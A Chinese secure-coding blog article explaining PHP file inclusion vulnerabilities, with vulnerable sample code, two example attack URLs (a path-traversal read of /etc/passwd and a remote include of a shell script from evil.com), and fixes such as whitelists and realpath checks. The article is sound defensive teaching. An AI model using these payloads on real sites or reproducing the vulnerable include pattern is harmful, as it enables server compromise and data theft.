尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
PHP文件包含漏洞:一招避开致命坑
摘要PHP 文件包含漏洞是 Web 开发中常见且危险的一类安全问题攻击者往往利用不严谨的参数拼接把服务器上的敏感文件“带”出来甚至直接执行恶意代码。本文用一段可运行的示例演示漏洞成因并给出开发阶段容易落地的规避方案帮助你在写代码时就避开这个坑。一、什么是文件包含漏洞在 PHP 项目里我们经常会把公共头部、底部、配置信息拆成独立文件再用 include 或 require 引入。这种机制本身没问题问题出在“引入哪个文件”这件事被用户输入直接控制又没有做好校验。当攻击者能控制被包含的文件路径时就可能读取到 /etc/passwd 这类敏感文件或者把远程的恶意脚本拉进来执行。这就是文件包含漏洞也是 OWASP 榜单上的常客。二、漏洞原理演示先看一段典型的“问题代码”。假设我们有一个页面通过 URL 参数决定加载哪个模板?php // 危险写法直接拼接用户输入 $page $_GET[page]; include($page . .php); ?这段代码看起来挺正常但攻击者只要把 page 参数改成下面这样就能读到服务器上的敏感文件// 读取系统文件本地文件包含 http://your-site.com/index.php?page../../../../etc/passwd%00如果服务器配置允许远程包含攻击者还能把参数指向自己服务器上的恶意脚本// 远程文件包含 http://your-site.com/index.php?pagehttp://evil.com/shell.txt一旦恶意代码被执行网站基本就沦陷了。这里要特别提醒%00 截断在旧版本 PHP 里很常见虽然新版本已经修复但很多老项目还在用风险依然存在。三、开发中如何规避规避思路其实不复杂核心就一句话永远不要信任用户输入永远不要让用户直接决定文件路径。下面几个方法建议组合使用。1. 用白名单映射最稳妥的做法是提前定义好允许加载的页面列表用户只能选“编号”不能传路径?php $allowed [ home home.php, about about.php, contact contact.php, ]; $page $_GET[page] ?? home; if (!isset($allowed[$page])) { exit(页面不存在); } include($allowed[$page]); ?这样即使攻击者把参数改成 ../../etc/passwd也匹配不到白名单里的任何一项直接就被拦下了。2. 关闭远程包含在 php.ini 里把 allow_url_include 设为 Off从根上杜绝远程文件包含allow_url_include Off这个开关默认就是关闭的但有些老项目或一键安装包会把它打开建议部署时检查一遍。3. 路径规范化校验如果业务上确实需要动态包含文件至少要做一次路径校验确保解析后的真实路径落在允许目录内?php $base realpath(__DIR__ . /pages/); $path realpath(__DIR__ . /pages/ . $_GET[page] . .php); if ($path false || strpos($path, $base) ! 0) { exit(非法路径); } include($path); ?realpath 会把 ../../ 这类相对路径解析成绝对路径再对比前缀就能挡住目录穿越。四、写在最后文件包含漏洞的修复成本其实很低关键是要养成“输入即攻击面”的编码习惯。建议在项目里加一道统一的入口校验同时定期用扫描工具检查历史代码。安全不是上线前补一补的事而是从第一行代码就要开始考虑的问题。
RELATED

相关推荐

装饰器:让代码“保暖”的神奇魔法

装饰器:让代码“保暖”的神奇魔法

在讲那个叫做装饰器的东西之前, 我本来是想先举个例子, 虽然这个例子有点不太干净, 甚至可以说是有点脏, 但是它跟我们要聊的这个装饰器的话题, 真的是贴得非常紧。每个人都有的这种内裤, 它的主要功能是用来遮住难为情的地方。可是到了冬天, 它没有办法替我们挡住寒风并且保存…

📅 2026/10/21 11:35:03
【arXiv 2026】Dream-RSI:把发现历史变成可回放世界,让智能体在历史里「做梦」|从递归自我改进视角

【arXiv 2026】Dream-RSI:把发现历史变成可回放世界,让智能体在历史里「做梦」|从递归自我改进视角

## 摘要同一道算法题,Dream-RSI 只花 317 次模型调用就跑出了更快的解,而固定策略要花 550 次。这篇 arXiv 2026 的论文叫 Dream-RSI: Recursive Self-Improvement through Evolving Worlds,它做的事可以用一句话说清:把智能体做科…

📅 2026/10/21 11:35:03
Meta AI 重回巅峰:新模型几项关键测试把 GPT 和 Claude 甩在了身后!

Meta AI 重回巅峰:新模型几项关键测试把 GPT 和 Claude 甩在了身后!

上周你刚告诉 AI:"我对花生过敏,下个月要去东京出差。" 这周你让它帮忙订餐厅,它一脸无辜地推荐了一家花生酱拉面。 这是现在大多数 AI 的通病:聪明,但健忘;能聊,但不能"干活&q…

📅 2026/10/21 11:35:03
MORE NEWS

更多资讯

📰

STM32驱动WS2812:SPI+DMA方案彻底解决灯带闪烁与颜色错乱

简介:这份资源是面向STM32开发者的WS2812灯珠驱动程序,采用硬件SPIDMA方式实现数据传输,解决了传统GPIO模拟时序占用CPU、刷新率低的问题,适合有一定单片机基础、希望快速点亮灯带或制作灯效项目的嵌入式学习者。压缩包共103个文件…

📰

AI矩阵联动短剧:从素材搬运工到内容流水线

做多账号矩阵的运营者最熟悉的画面是什么?同一个故事,因为要发到好几个账号,不得不一遍遍改文案、换封面、重新配音、调BGM。我见过一个做情感短剧的工作室,5个人管着20多个账号,每天实际产出只有十来条,人…

📰

AI重构文献综述:从堆砌到知识地图的实战指南

刚帮一位博士朋友看综述初稿,他把自己关在办公室三天,下载了七十多篇文献,结果初稿却被导师批了一句:“这是文献堆砌,不是文献综述。”扎心吧?但这几乎是所有研究生的必修课——文献综述的“堆砌困境”。不…

📰

茄子实例分割数据集解析:从目标检测到像素级mask的农业视觉实践

如果你也在做温室作物的视觉识别,大概率遇到过这种场景:茄子挂果密密麻麻,用目标检测框架框出来的边界框东叠一个西叠一个,NMS过完以后剩不下几个,果实计数根本没法看。后来我把方案从目标检测换成实例分割&#xff0c…

📰

计算机二级C语言真题规律与高频考点全解析

简介:这份资源面向零基础或刚入门的编程学习者,聚焦计算机二级C语言备考与Go语言从0到1的系统学习,帮助读者在掌握C语言基础语法的同时,理解Go语言的核心用法与工程实践。压缩包共收录471个文件,整体约90.44MB&#xf…

📰

SparkSQL空值关联引发的数据倾斜与三段式分流优化

1. 项目概述:为什么空值关联是SparkSQL里最隐蔽的“性能杀手” 在某次处理跨部门用户行为宽表的ETL任务时,我遇到一个典型现象:作业整体耗时从平时的8分钟突然飙升到42分钟,Shuffle Read量暴涨3倍,而Driver日志里只有一…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬